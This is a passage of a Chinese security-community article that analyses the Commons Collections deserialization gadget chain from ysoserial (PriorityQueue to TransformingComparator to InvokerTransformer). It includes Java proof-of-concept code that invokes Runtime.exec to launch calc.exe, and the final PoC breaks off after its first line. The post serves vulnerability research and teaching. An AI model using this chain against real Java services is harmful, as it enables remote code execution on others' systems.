先知安全技术社区独家发文,如需转载,请先联系社区授权;未经授权请勿转载

前言:

玄铁重剑,是金庸小说笔下第一神剑。由「玄铁」制成,重八八六十四斤;由「剑魔」独孤求败所使,四十岁前持之无敌于天下。 独孤求败逝去后为杨过所得,并由独孤求败的「朋友」神雕引导,之后在神雕的指导下,也根据独孤求败的独门秘籍及练功方法,练成了一身天下无敌的剑法及内功心法。

主角:

CommonsCollection, commons-collections.jar

介绍:

Java Collections Framework 是JDK 1.2中的一个重要组成部分。它增加了许多强大的数据结构,加速了最重要的Java应用程序的开发。从那时起,它已经成为Java中集合处理的公认标准。官网介绍如下:

Commons Collections使用场景很广,很多商业,开源项目都使用到了commons-collections.jar。
很多组件,容器,cms(诸如WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等)的rce漏洞都和Commons Collections反序列被披露事件有关。

正文:

再讲一个执行链,在ysoserial中,CommonsCollections2提到了,通过上一篇的分析,我们得知执行链很多。接下来接着分析另外一个执行链, 需要借助的是PriorityQueue这个类,这里我找到了一条执行链

PriorityQueue.readObject()->PriorityQueue.heapify()->PriorityQueue.siftDown()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.compare()->InvokerTransformer.transformat()

这和ysoserial提到的是一样的, 下面我们自己来尝试构造下poc。
通过分析源码,我们可构造出TransformingComparator.compare的大致结构如下:

public static void main(final String[] args) throws Exception {
       runcompare();
    }
    public static void runcompare(){
           InvokerTransformer invokerTransformer= getInvokerTransformer();
           TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
           Runtime runtime1 = Runtime.getRuntime();
           transformingComparator.compare(runtime1, null);

       }
       public static InvokerTransformer getInvokerTransformer(){
           String[] cmds = new String[]{"calc.exe"};
           InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{cmds});
           return invokerTransformer;
       }


其中PriorityQueue.siftDownUsingComparator调用compare的地方如下,查看源码可知,我们要将runtime对象放在 queue中。

通过分析源码得知, 必须要给comparator赋值,comparator的赋值操作可以在构造函数里面进行。

通过最终分析组合出如下poc:

public Queue<Object> getObject(final String command) throws Exception {
点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖